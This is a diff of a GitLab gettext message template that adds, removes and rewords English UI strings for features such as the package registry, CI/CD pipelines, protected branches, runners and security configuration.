@@ -19420,9 +19126,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19582,9 +19285,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19818,9 +19518,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -20028,6 +19725,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20270,6 +19970,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20504,6 +20207,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20522,9 +20234,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20744,9 +20453,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20816,6 +20522,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20837,6 +20546,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20849,6 +20561,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20909,9 +20624,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21691,9 +21403,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21837,9 +21546,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -22098,9 +21804,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22277,9 +21980,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22328,7 +22028,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22385,13 +22085,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22591,9 +22291,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22612,7 +22309,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22921,9 +22618,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -23110,9 +22804,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23259,9 +22950,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23900,10 +23588,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23981,6 +23669,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -24011,6 +23702,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -24035,9 +23732,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -24089,6 +23783,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -24098,15 +23795,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -24152,6 +23849,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24182,6 +23885,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24374,9 +24083,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24581,10 +24287,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24596,9 +24302,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24608,16 +24311,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24737,10 +24446,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24758,12 +24467,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24875,9 +24590,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -25028,13 +24740,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -25079,10 +24791,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -25094,6 +24806,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25706,6 +25424,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25991,9 +25712,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -26021,6 +25739,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -26033,9 +25754,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -26084,15 +25802,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -26141,9 +25853,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26759,9 +26468,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26777,9 +26483,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26864,21 +26567,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26894,18 +26594,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26921,9 +26612,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26936,6 +26624,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26951,7 +26642,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26960,6 +26651,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26969,9 +26663,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26990,9 +26681,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -27116,13 +26804,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -27143,12 +26834,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27158,6 +26858,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27167,12 +26870,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27218,18 +26924,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27637,6 +27355,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27664,6 +27385,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27846,6 +27570,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27861,15 +27588,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27885,9 +27606,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -28035,15 +27753,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -28053,15 +27774,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28479,6 +28191,9 @@ msgstr[4] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28629,12 +28344,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28650,9 +28359,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28753,6 +28459,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28762,9 +28471,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28831,12 +28537,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28846,6 +28561,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28855,9 +28573,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28870,9 +28597,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28915,12 +28648,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28951,6 +28690,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -29029,6 +28774,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -29080,10 +28831,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -29116,6 +28864,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -29167,6 +28918,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29251,9 +29005,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29417,12 +29168,6 @@ msgstr[4] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29489,6 +29234,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29510,6 +29258,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29519,6 +29270,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29543,9 +29300,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29555,12 +29321,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
